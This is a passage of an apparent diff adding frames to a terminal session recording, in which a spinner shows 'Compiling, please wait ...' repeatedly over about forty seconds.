+[37.493089, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[37.593508, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[37.693939, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[37.794338, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[37.894747, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[37.995182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[38.095547, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[38.19594, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[38.296325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[38.396722, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[38.497121, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[38.597475, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[38.697889, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[38.798141, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[38.898535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[38.998944, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[39.099317, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[39.199735, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[39.300148, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[39.400493, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[39.500894, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[39.601293, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[39.701696, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[39.802095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[39.902516, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[40.003755, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[40.103282, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[40.203676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[40.303955, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[40.404958, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[40.505368, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[40.60649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[40.706993, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[40.807387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[40.907774, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[41.008168, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[41.108478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[41.208875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[41.309258, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[41.409677, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[41.510096, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[41.610489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[41.710888, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[41.811325, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[41.911726, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[42.012131, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[42.112481, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[42.212875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[42.313276, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[42.413665, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[42.514066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[42.614391, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[42.714777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[42.815228, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[42.915651, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[43.016032, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[43.116466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[43.216878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[43.317272, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[43.417667, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[43.518058, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[43.618461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[43.71884, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[43.819261, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[43.919661, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[44.020085, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[44.120484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[44.220902, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[44.3213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[44.421728, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[44.522145, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[44.622526, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[44.722857, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[44.823297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[44.923689, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[45.024077, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[45.124487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[45.224936, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[45.32532, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[45.425692, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[45.5261, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[45.626498, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[45.726911, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[45.827391, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[45.927805, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[46.028214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[46.128635, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[46.229046, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[46.329463, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[46.429858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[46.53027, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[46.630681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[46.731092, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[46.831522, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[46.931935, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[47.032295, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[47.132703, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[47.233096, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[47.333478, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[47.433872, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[47.534277, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[47.634696, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[47.734976, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[47.83539, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[47.935789, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[48.036167, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[48.136501, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[48.236881, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[48.338159, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[48.43858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[48.538986, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[48.639381, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[48.739785, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[48.840201, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[48.940598, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[49.040979, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[49.141383, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[49.241756, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[49.342167, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[49.44255, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[49.542965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[49.643411, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[49.743796, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[49.84423, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[49.944591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[50.045011, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[50.145406, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[50.245799, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[50.346164, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[50.446573, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[50.546962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[50.647393, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[50.747797, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[50.848123, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[50.948495, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[51.048896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[51.149297, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[51.249661, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[51.350084, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[51.450496, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[51.550876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[51.651312, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[51.751699, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[51.852032, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[51.952418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[52.052739, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[52.153126, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[52.253524, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[52.353929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[52.454359, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[52.554761, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[52.655262, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[52.755573, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[52.855979, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[52.956372, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[53.05678, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[53.157173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[53.257583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[53.357968, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[53.458361, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[53.558745, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[53.659191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[53.75952, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[53.859914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[53.960403, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[54.060775, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[54.161121, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[54.261532, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[54.361897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[54.462303, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[54.562716, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[54.663139, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[54.763504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[54.863896, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[54.964285, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[55.064681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[55.165089, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[55.265494, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[55.365925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[55.466331, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[55.566731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[55.667182, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[55.767537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[55.867885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[55.968287, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[56.068673, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[56.169075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[56.269472, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[56.369857, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[56.470284, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[56.570677, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[56.671106, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[56.771496, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[56.871914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[56.972284, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[57.072686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[57.173101, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[57.273483, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[57.373895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[57.474262, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[57.574665, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[57.675196, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[57.775552, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[57.875955, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[57.976382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[58.076781, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[58.177187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[58.277562, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[58.377958, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[58.478346, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[58.578729, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[58.679195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[58.779703, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[58.880107, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[58.980492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[59.08091, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[59.181308, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[59.281725, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[59.382131, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[59.482534, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[59.582941, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[59.683363, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[59.783768, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[59.884168, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[59.984492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[60.084869, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[60.185265, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[60.285676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[60.386062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[60.486465, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[60.586878, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[60.687248, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[60.787638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[60.888062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[60.988848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[61.089144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[61.189563, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[61.289966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[61.390352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[61.490762, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[61.591224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[61.691578, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[61.79198, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[61.892385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[61.992773, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[62.093182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[62.193771, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[62.294179, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[62.394567, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[62.495003, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[62.595489, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[62.695865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[62.796274, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[62.896676, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[62.996946, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[63.097368, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[63.197753, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[63.298171, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[63.398576, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[63.498954, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[63.599398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[63.699798, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[63.800104, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[63.900722, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[64.001097, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[64.101507, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[64.201892, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[64.30221, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[64.402601, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[64.50301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[64.603386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[64.70372, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[64.804132, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[64.904475, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[65.004787, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[65.105189, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[65.205872, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[65.306125, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[65.406523, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[65.50694, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[65.60738, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[65.707757, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[65.808174, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[65.908508, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[66.008893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[66.109256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[66.209656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[66.310041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[66.410445, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[66.510851, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[66.611254, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[66.711671, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[66.812075, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[66.912456, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[67.012852, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[67.113259, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[67.213677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[67.314064, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[67.414464, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[67.514877, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[67.615287, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[67.7156, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[67.816035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[67.916479, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[68.016867, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[68.117256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[68.217673, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[68.318074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[68.418458, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[68.518881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[68.619309, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[68.719694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[68.820101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[68.920492, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[69.021909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[69.122323, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[69.22276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[69.323164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[69.423547, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[69.523865, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[69.624295, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[69.724699, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[69.825103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[69.925515, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[70.025957, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[70.126349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[70.226959, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[70.327365, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[70.427754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[70.528121, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[70.628494, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[70.728901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[70.829304, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[70.929709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[71.030115, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[71.13052, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[71.230937, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[71.331377, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[71.431787, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[71.532172, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[71.632484, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[71.732865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[71.833282, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[71.933713, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[72.034101, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[72.134481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[72.234968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[72.335385, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[72.435802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[72.536205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[72.636621, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[72.737031, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[72.837414, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[72.937811, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[73.038208, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[73.138645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[73.239036, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[73.339413, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[73.439815, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[73.540193, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[73.640579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[73.740986, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[73.841425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[73.941805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[74.042193, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[74.14405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[74.244436, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[74.344812, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[74.445225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[74.545622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[74.646031, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[74.74642, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[74.846823, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[74.947239, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[75.047631, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[75.148039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[75.248461, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[75.348851, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[75.44925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[75.549652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[75.650025, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[75.750385, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[75.850777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[75.951215, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[76.051576, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[76.151976, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[76.252363, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[76.352775, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[76.453189, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[76.553558, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[76.653938, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[76.754343, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[76.854749, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[76.95517, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
